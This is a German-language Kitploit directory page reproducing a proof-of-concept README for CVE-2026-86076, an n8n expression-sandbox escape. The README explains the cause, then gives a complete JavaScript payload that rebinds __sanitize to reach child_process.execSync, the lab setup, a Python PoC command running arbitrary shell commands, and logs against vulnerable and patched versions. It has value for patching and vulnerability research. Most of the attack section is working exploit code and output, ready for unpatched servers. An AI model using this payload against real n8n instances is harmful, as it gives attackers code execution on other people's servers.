Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — n8n-Ausbruch aus der Expression-Sandbox durch Neubindung von `__sanitize` über Klassenfelder (Backend-RCE). Verifiziert v2.37.6 (uid=node) / v2.37.7. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-86076-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationRemote-Access-ToolPayload-Entwicklung
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — n8n-Ausbruch aus der Expression-Sandbox durch Neubindung von `__sanitize` über Klassenfelder (Backend-RCE). Verifiziert v2.37.6 (uid=node) / v2.37.7.

Repository anzeigen
1112vor 12 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-86076 — n8n-Expression-Sandbox-Escape durch Rebinding des Klassenfeld-Sanitizers

Authentifizierte (Workflow-Bearbeitungs-)Codeausführung im n8n-Backend-Prozess. Der Expression-Compiler injiziert this.__sanitize(key) für jeden berechneten Member- Zugriff; ein Klassenfeld mit dem wörtlichen Namen __sanitize bindet diesen Sanitizer für den Rest des Klassenkörpers neu, wodurch constructor durchgelassen wird und man beim echten Function-Konstruktor landet → process.mainModule.require('child_process').

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Betroffen: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • Behoben: 1.123.76 / 2.37.7 / 2.38.2
  • Fix-Commit: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody lehnt reservierte Member-Namen ab) und packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data ist jetzt eine lexikalische Bindung statt this).

Ursache

PrototypeSanitizer (ein AST-After-Hook) schreibt

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode ist das Datenobjekt des Ausdrucks. Wenn der Ausdruck kein Funktionsliteral enthält, wurde dataNode als this ausgegeben, nicht als das lexikalische ___n8n_data:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Innerhalb eines Klassenfeld-Initialisierers ist this die Instanz, daher übernimmt ein Feld namens __sanitize den Aufruf des Sanitizers. Ein durchreichender Platzhalter genügt — [].concat.bind([]) gibt ['constructor'] zurück, und obj[['constructor']] wird zum Schlüssel constructor umgewandelt:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Ausgegebener Code (im Container mit dem echten Compiler verifiziert):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

Vor dem Patch wurde kein Klassenmitglied namens __sanitize abgelehnt (RESERVED_VARIABLE_NAMES wurde nur für gebundene Bezeichner geprüft).

Hinweis zur Engine (wichtig)

Die Payload benötigt die In-Process-Expression-Engine:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

Beim Standard-vm-Engine umgeht derselbe Ausdruck weiterhin den AST-Sanitizer ([]['constr'+'uctor'] wird nicht mehr blockiert — verifiziert), aber der Code läuft innerhalb der isolated-vm-Isolate, die kein process.mainModule hat; keine Host-Codeausführung. 2.37.7 lehnt den Ausdruck unter beiden Engines ab.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Beide Dateien legen N8N_EXPRESSION_ENGINE=legacy, SQLite und bind-gemountete ./data-* fest. Der PoC legt das Owner-Konto selbst an (POST /rest/owner/setup + /rest/login).

Ausführen

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Anfällig — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Vom Container zurückgelesener Seiteneffekt (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Gepatcht — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Evidenzkanal

Die stdout des Befehls wird von execSync(...).toString() als Wert des Set-Knotens zurückgegeben und über GET /rest/executions/<id>?includeData=true zurückgelesen (n8n-"flatted"-Payload, dekodiert im Skript). Der Seiteneffekt auf der Festplatte (/tmp/PWNED_86076) wurde zusätzlich mit docker exec bestätigt.

Dateien

DateiInhalt
n8n_poc.pyNur-stdlib-PoC (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txtRohausführungen
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonJSON-Evidenz
side_effect_2.37.6.txt, side_effect_2.37.7.txtcontainer-seitige Prüfung
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtContainer-Logs
Tool herunterladen